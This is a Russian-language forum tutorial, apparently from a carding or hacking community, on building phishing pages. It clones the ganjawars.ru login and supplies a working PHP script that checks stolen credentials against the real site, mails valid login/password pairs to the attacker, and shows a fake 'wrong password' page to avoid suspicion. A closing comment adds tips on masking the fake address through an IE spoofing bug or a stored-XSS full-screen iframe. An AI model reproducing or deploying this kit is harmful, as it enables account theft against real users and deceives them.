Скамы (SCAM) - фейки сайтов,создаваемые с целью сбора вводимой информации,будь то идентификационные данные либо какая-то ценная информация.Зачастую скамы играют на руку кардерам - нередки случаи создания липовых шопов. Создание скама зачастую сводится к изменению скрипта-обработчика таким образом,чтобы данные отсылались не на оригинальный сайт,а собирались в файле либо сразу отсылались на почту к злоумышленику.Дизан таких сайтов ничуть не отличается от их братьев-оригиналов и заподозрить неладное может только опытный пользователь или же сам проект вводит защиту от фишинга.Yahoo предлагает вводить заведомо введенные данные при аутенфикации или например использовать форму логина заданного цвета.Firefox второй ветки сравнивает сайт с черным списком и в случае обнаружения поддельного сайта извещает юзера и не дает ввести данные.Internet Explorer такжи имеет защиту,но фильтр надо качать отдельно ( http://g.msn.com/8SEENUS020100/AddinsPhishingLand_downloadURL ) Для примера создадим грамотный фейк популярной онлайн-игры ganjawars.ru.Скрипт будет не только собирать введенную информацию,но и проверять подлинность введенных данных,и в случае существования введенного юзера и правильности логина и пароля перебрасывать его на страницу с неправильно введенным паролем чтобы не вызывать подозрения. Для начала сохраним страницу к себе на жесткий диск и посмотрим куда идут введенные логин с паролем. <form name="loginform" id="loginform" action="http://www.ganjawars.ru/login.php" method="post"></form> Изменяем поле обработчика action с удаленного http://www.ganjawars.ru/login.php на локальный login.php.Снифаем запрос логина.В случае правильной связки вводимых данных сервер ответит 302 Found,в обратном - "Неверно указан пароль",если же логин не существует - "Неверно указан никнейм". PHP: <?php # обьявяем переменные define ( _Mail,"[email protected]"); define ( _Subj,"New ganjawars account"); # данные переданы,начинаем процедуру логина if (isset($_POST['login']) && isset($_POST['pass'])) { # коннектимся к ganjawars.ru $fsock = fsockopen("ganjawars.ru",80,$err,$errdesc,3); # формируем запрос $params = "login=".$_POST['login']."&pass=".$_POST['pass']; $request = "POST /login.php HTTP/1.1\r\n"; $request .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\r\n"; $request .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $request .= "Referer: http://ganjawars.ru/login.php\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Host: ganjawars.ru\r\n"; $request .= "Content-Length: ".strlen($params)."\r\n"; $request .= "Connection: Keep-Alive\r\n\r\n"; $request .= $params; # отсылаем запрос fwrite($fsock,$request); # принимаем ответ сервера while (!feof($fsock)) $responce .= fgets($fsock,1024); # обрабатываем ответ if (strpos($responce,"302 Found")) { $msg = "New account : ".$_POST['login']." : ".$_POST['pass']; mail (_Mail,_Subj,$msg,"From: [email protected]"); $fd = fopen("_login.php","r"); $log = fread($fd,filesize("_login.php")); fclose($fd); echo $log; } if (strpos($responce,"Неверно указан никнейм")) { $responce = substr($responce,strpos($responce,"<")); print $responce; } if (strpos($responce,"Неверно указан пароль")) { $responce = substr($responce,strpos($responce,"<")); print $responce; } } В случае правильного пароля мы отсылаем его на заданное мыло и показываем содержимое файла _login.php где четко говорится что пароль указан неверно (предварительно мы сохранили этот файл - сделали запрос с заведомо неправильным паролем ).Если же юзер не существует или пароль неверен выводим ответ сервера отделенный от хидера,где обработчик формы будет уже на оригинальном сервера ganjawars.ru Скрипт прекрасно работает и рядовой юзер врядли догадается что его обманывают.Не стоит забывать о мелочах.Несоответствие времени , логотипа или новостей может вызвать подозрение.Универсальный вариант - загрузка оригинальной страницы и замена скрипта обработчика на лету.EOF
Хотелось бы добавить, что отсылать на фейковую страницу не обязательно стандартными способами, чтобы пользователь видел адрес в строке браузера. Можно воспользоваться, например, уязвимостью ИЕ - отображение в строке браузера другого адреса или, что еще чаще применяется, использование активной Xss, когда в тело Xss вписывается фрейм, с фейковой страницей на весь экран.